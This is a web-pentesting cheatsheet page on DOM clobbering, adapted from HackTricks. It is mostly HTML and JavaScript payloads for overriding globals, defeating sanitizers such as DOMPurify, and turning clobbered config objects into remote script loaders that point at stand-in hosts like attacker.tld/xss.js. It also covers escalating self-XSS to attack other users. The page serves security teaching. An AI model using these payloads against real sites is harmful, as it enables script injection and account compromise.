daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR
git clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
Log | Files | Refs | README | LICENSE

dom-clobbering.md (14500B)


      1 ---
      2 title: "Dom Clobbering"
      3 section: "Web Pentesting"
      4 sectionSlug: "pentesting-web"
      5 sourcePath: "src/pentesting-web/xss-cross-site-scripting/dom-clobbering.md"
      6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/xss-cross-site-scripting/dom-clobbering.md"
      7 sha: "188de82beb54e70956b2952367a0af91d26758b8"
      8 isIndex: false
      9 modified: true
     10 license: "CC-BY-NC-4.0"
     11 ---
     12 
     13 # Dom Clobbering
     14 
     15 ## **Basics**
     16 
     17 It's possible to generate **global variables inside the JS context** with the attributes **`id`** and **`name`** in HTML tags.<sup>[[2]](#references)</sup>
     18 
     19 ```html
     20 <form id="x"></form>
     21 <script>
     22   console.log(typeof document.x) //[object HTMLFormElement]
     23 </script>
     24 ```
     25 
     26 **Only** certain elements can use the **name attribute** to clobber globals, they are: `embed`, `form`, `iframe`, `image`, `img` and `object`.
     27 
     28 Interestingly, when you use a **form element** to **clobber** a variable, you will get the **`toString`** value of the element itself: `[object HTMLFormElement]` but with **anchor** the **`toString`** will be the anchor **`href`**. Therefore, if you clobber using the **`a`** tag, you can **control** the **value** when it's **treated as a string**:
     29 
     30 ```html
     31 <a href="https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/xss-cross-site-scripting/controlled%20string" id="x"></a>
     32 <script>
     33   console.log(x) //controlled string
     34 </script>
     35 ```
     36 
     37 ### Arrays & Attributes
     38 
     39 It's also possible to **clobber an array** and **object attributes**:
     40 
     41 ```html
     42 <a id="x">
     43   <a id="x" name="y" href="https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/xss-cross-site-scripting/controlled">
     44     <script>
     45       console.log(x[1]) //controlled
     46       console.log(x.y) //controlled
     47     </script></a
     48   ></a
     49 >
     50 ```
     51 
     52 To clobber **a 3rd attribute** (e.g. x.y.z), you need to use a **`form`**:
     53 
     54 ```html
     55 <form id="x" name="y"><input id="z" value="controlled" /></form>
     56 <form id="x"></form>
     57 <script>
     58   alert(x.y.z.value) //controlled
     59 </script>
     60 ```
     61 
     62 Clobbering more attributes is **more complicated but still possible**, using iframes:
     63 
     64 ```html
     65 <iframe name="x" srcdoc="<a id=y href=controlled></a>"></iframe>
     66 <style>
     67   @import "https://google.com";
     68 </style>
     69 <script>
     70   alert(x.y) //controlled
     71 </script>
     72 ```
     73 
     74 > [!WARNING]
     75 > The style tag is used to **give enough time to the iframe to render**. Without it you will find an alert of **undefined**.
     76 
     77 To clobber deeper attributes, you can use **iframes with html encoding** this way:
     78 
     79 ```html
     80 <iframe
     81   name="a"
     82   srcdoc="<iframe srcdoc='<iframe name=c srcdoc=<a/id=d&amp;amp;#x20;name=e&amp;amp;#x20;href=\controlled&amp;amp;gt;<a&amp;amp;#x20;id=d&amp;amp;gt; name=d>' name=b>"></iframe>
     83 <style>
     84   @import "https://google.com";
     85 </style>
     86 <script>
     87   alert(a.b.c.d.e) //controlled
     88 </script>
     89 ```
     90 
     91 ### **Filter Bypassing**
     92 
     93 If a filter is **looping** through the **properties** of a node using something like `document.getElementByID('x').attributes` you could **clobber** the attribute **`.attributes`** and **break the filter**. Other DOM properties like **`tagName`** , **`nodeName`** or **`parentNode`** and more are also **clobberable**.<sup>[[2]](#references)</sup>
     94 
     95 ```html
     96 <form id="x"></form>
     97 <form id="y">
     98   <input name="nodeName" />
     99 </form>
    100 <script>
    101   console.log(document.getElementById("x").nodeName) //FORM
    102   console.log(document.getElementById("y").nodeName) //[object HTMLInputElement]
    103 </script>
    104 ```
    105 
    106 ## **Clobbering `window.someObject`**
    107 
    108 In JavaScript it's common to find:
    109 
    110 ```javascript
    111 var someObject = window.someObject || {}
    112 ```
    113 
    114 Manipulating HTML on the page allows overriding `someObject` with a DOM node, potentially introducing security vulnerabilities. For example, you can replace `someObject` with an anchor element pointing to a malicious script:
    115 
    116 ```html
    117 <a id=someObject href=//malicious-website.com/malicious.js></a>
    118 ```
    119 
    120 In a vulnerable code such as:
    121 
    122 ```html
    123 <script>
    124   window.onload = function () {
    125     let someObject = window.someObject || {}
    126     let script = document.createElement("script")
    127     script.src = someObject.url
    128     document.body.appendChild(script)
    129   }
    130 </script>
    131 ```
    132 
    133 This method exploits the script source to execute unwanted code.<sup>[[2]](#references)</sup>
    134 
    135 **Trick**: **`DOMPurify`** allows you to use the **`cid:`** protocol, which **does not URL-encode double-quotes**. This means you can **inject an encoded double-quote that will be decoded at runtime**. Therefore, injecting something like **`<a id=defaultAvatar><a id=defaultAvatar name=avatar href="cid:&quot;onerror=alert(1)//">`** will make the HTML encoded `&quot;` to be **decoded on runtime** and **escape** from the attribute value to **create** the **`onerror`** event.<sup>[[4]](#references)</sup>
    136 
    137 Another technique uses a **`form`** element. Certain client-side libraries inspect the attributes of a newly created form element to clean them. However, by adding an `input` with `id=attributes` inside the form, you effectively overwrite the attributes property, preventing the sanitizer from accessing the actual attributes.
    138 
    139 You can [**find an example of this type of clobbering in this CTF writeup**](/hacktricks/pentesting-web/xss-cross-site-scripting/iframes-in-xss-and-csp#iframes-in-sop-2).
    140 
    141 ## Clobbering document object
    142 
    143 According to the documentation it's possible to overwrite attributes of the document object using DOM Clobbering:
    144 
    145 > The [Document](https://html.spec.whatwg.org/multipage/dom.html#document) interface [supports named properties](https://webidl.spec.whatwg.org/#dfn-support-named-properties). The [supported property names](https://webidl.spec.whatwg.org/#dfn-supported-property-names) of a [Document](https://html.spec.whatwg.org/multipage/dom.html#document) object document at any moment consist of the following, in [tree order](https://dom.spec.whatwg.org/#concept-tree-order) according to the element that contributed them, ignoring later duplicates, and with values from [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) attributes coming before values from name attributes when the same element contributes both:
    146 >
    147 > \- The value of the name content attribute for all [exposed](https://html.spec.whatwg.org/multipage/dom.html#exposed) [embed](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-embed-element), [form](https://html.spec.whatwg.org/multipage/forms.html#the-form-element), [iframe](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-iframe-element), [img](https://html.spec.whatwg.org/multipage/embedded-content.html#the-img-element), and [exposed](https://html.spec.whatwg.org/multipage/dom.html#exposed) [object](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-object-element) elements that have a non-empty name content attribute and are [in a document tree](https://dom.spec.whatwg.org/#in-a-document-tree) with document as their [root](https://dom.spec.whatwg.org/#concept-tree-root);\
    148 > \
    149 > \- The value of the [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) content attribute for all [exposed](https://html.spec.whatwg.org/multipage/dom.html#exposed) [object](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-object-element) elements that have a non-empty [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) content attribute and are [in a document tree](https://dom.spec.whatwg.org/#in-a-document-tree) with document as their [root](https://dom.spec.whatwg.org/#concept-tree-root);\
    150 > \
    151 > \- The value of the [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) content attribute for all [img](https://html.spec.whatwg.org/multipage/embedded-content.html#the-img-element) elements that have both a non-empty [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) content attribute and a non-empty name content attribute, and are [in a document tree](https://dom.spec.whatwg.org/#in-a-document-tree) with document as their [root](https://dom.spec.whatwg.org/#concept-tree-root).
    152 
    153 Using this technique you can overwrite commonly used **values such as `document.cookie`, `document.body`, `document.children`**, and even methods in the Document interface like `document.querySelector`.
    154 
    155 ```javascript
    156 document.write("<img name=cookie />")
    157 
    158 document.cookie
    159 <img name="cookie">
    160 
    161 typeof(document.cookie)
    162 'object'
    163 
    164 //Something more sanitize friendly than a img tag
    165 document.write("<form name=cookie><input id=toString></form>")
    166 
    167 document.cookie
    168 HTMLCollection(2) [img, form, cookie: img]
    169 
    170 typeof(document.cookie)
    171 'object
    172 ```
    173 
    174 ## Writing after the element clobbered
    175 
    176 The results of calls to **`document.getElementById()`** and **`document.querySelector()`** can be altered by injecting a `<html>` or `<body>` tag with an identical id attribute. Here's how it can be done:<sup>[[1]](#references)</sup>
    177 
    178 ```html
    179 <div style="display:none" id="cdnDomain" class="x">test</div>
    180 <p>
    181   <html id="cdnDomain" class="x">
    182     clobbered
    183   </html>
    184   <script>
    185     alert(document.getElementById("cdnDomain").innerText) // Clobbered
    186     alert(document.querySelector(".x").innerText) // Clobbered
    187   </script>
    188 </p>
    189 ```
    190 
    191 Furthermore, by employing styles to hide these injected HTML/body tags, interference from other text in the `innerText` can be prevented, thus enhancing the efficacy of the attack:
    192 
    193 ```html
    194 <div style="display:none" id="cdnDomain">test</div>
    195 <p>existing text</p>
    196 <html id="cdnDomain">
    197   clobbered
    198 </html>
    199 <style>
    200   p {
    201     display: none;
    202   }
    203 </style>
    204 <script>
    205   alert(document.getElementById("cdnDomain").innerText) // Clobbered
    206 </script>
    207 ```
    208 
    209 Investigations into SVG revealed that a `<body>` tag can also be utilized effectively:
    210 
    211 ```html
    212 <div style="display:none" id="cdnDomain">example.com</div>
    213 <svg>
    214   <body id="cdnDomain">
    215     clobbered
    216   </body>
    217 </svg>
    218 <script>
    219   alert(document.getElementById("cdnDomain").innerText) // Clobbered
    220 </script>
    221 ```
    222 
    223 For the HTML tag to function within SVG in browsers like Chrome and Firefox, a `<foreignobject>` tag is necessary:
    224 
    225 ```html
    226 <div style="display:none" id="cdnDomain">example.com</div>
    227 <svg>
    228   <foreignobject>
    229     <html id="cdnDomain">
    230       clobbered
    231     </html>
    232   </foreignobject>
    233 </svg>
    234 <script>
    235   alert(document.getElementById("cdnDomain").innerText) // Clobbered
    236 </script>
    237 ```
    238 
    239 ## Clobbering Forms
    240 
    241 It's possible to add **new entries inside a form** just by **specifying the `form` attribute** inside some tags. You can use this to **add new values inside a form** and to even add a new **button** to **send it** (clickjacking or abusing some `.click()` JS code):
    242 
    243 ```html
    244 <!--Add a new attribute and a new button to send-->
    245 <textarea form="id-other-form" name="info">
    246 ";alert(1);//
    247 </textarea>
    248 <button form="id-other-form" type="submit" formaction="/edit" formmethod="post">
    249   Click to send!
    250 </button>
    251 ```
    252 
    253 - For more form attributes in [**button check this**](https://www.w3schools.com/tags/tag_button.asp)**.**
    254 
    255 
    256 ## HTMLCollection-backed config object clobbering
    257 
    258 A very practical pattern is when the application reads a config object from `window` and later uses one of its properties in a sink such as `script.src`:<sup>[[3]](#references)[[5]](#references)</sup>
    259 
    260 ```javascript
    261 let config = window.PixelAnalyticsConfig || {
    262   enabled: false,
    263   scriptUrl: '/js/mock-tracker.js'
    264 };
    265 if (config.enabled) {
    266   let s = document.createElement('script');
    267   s.src = config.scriptUrl;
    268   document.body.appendChild(s);
    269 }
    270 ```
    271 
    272 If you can inject HTML and the sanitizer keeps `id` / `name`, duplicate IDs can create an `HTMLCollection` on `window`, and named members of that collection become properties of the clobbered object:
    273 
    274 ```html
    275 <a id="PixelAnalyticsConfig"></a>
    276 <a id="PixelAnalyticsConfig" name="enabled"></a>
    277 <a id="PixelAnalyticsConfig" name="scriptUrl" href="https://attacker.tld/xss.js"></a>
    278 ```
    279 
    280 Then the browser resolves something similar to:
    281 
    282 ```javascript
    283 window.PixelAnalyticsConfig           // HTMLCollection (truthy)
    284 window.PixelAnalyticsConfig.enabled   // <a name="enabled"> (truthy)
    285 window.PixelAnalyticsConfig.scriptUrl // <a name="scriptUrl" href="https://attacker.tld/xss.js">
    286 ```
    287 
    288 This is powerful because the code often only checks **truthiness**, not types. When `script.src = config.scriptUrl` executes, the browser coerces the anchor element to a string, and anchors stringify to their `href`. Therefore a DOM clobbering primitive becomes a **remote script loader**.<sup>[[3]](#references)</sup>
    289 
    290 ### Why this is frequently exploitable
    291 
    292 1. The app treats `window.someConfig || {}` as trusted.
    293 2. Duplicate IDs produce an `HTMLCollection` instead of a single node.
    294 3. `name` attributes become object-like properties on that collection.
    295 4. URL-valued sinks (`script.src`, `iframe.src`, `fetch()`, redirects, etc.) coerce DOM nodes to strings.
    296 5. If CSP allows the target origin, or no restrictive `script-src` exists, attacker JS executes.<sup>[[6]](#references)</sup>
    297 
    298 ### Chaining note: converting self-XSS into higher-impact XSS
    299 
    300 If the HTML injection is only rendered inside the attacker's own storage bucket (profile, draft, testimonial list, etc.), DOM clobbering may initially look like self-XSS. Check whether predictable session cookies, IDOR/BOLA, shared objects, or authorization flaws let you:
    301 
    302 1. **Store** the payload in another user's scope.
    303 2. **Render** that same stored payload while authenticated as the victim/admin.
    304 
    305 This is especially relevant when the sink is only reached after loading user-specific content.<sup>[[3]](#references)</sup>
    306 
    307 ## References
    308 
    309 - [1] [PortSwigger Research: Hijacking service workers via DOM clobbering](https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering)
    310 - [2] [PortSwigger Web Security Academy: DOM clobbering](https://portswigger.net/web-security/dom-based/dom-clobbering)
    311 - [3] [How I Chained Three Bugs to XSS an Intigriti CTF — IDOR + DOM Clobbering + DOMPurify 3.0.9 Bypass](https://prateekpulastya.medium.com/how-i-chained-three-bugs-to-xss-an-intigriti-ctf-idor-dom-clobbering-dompurify-3-0-9-bypass-25b74fc7afc7)
    312 - [4] [DOMPurify repository / configuration examples](https://github.com/cure53/DOMPurify)
    313 - [5] [Lab: Exploiting DOM clobbering to enable XSS](https://portswigger.net/web-security/dom-based/dom-clobbering/lab-dom-xss-exploiting-dom-clobbering)
    314 - [6] [Bypassing CSP via DOM clobbering](https://portswigger.net/research/bypassing-csp-via-dom-clobbering)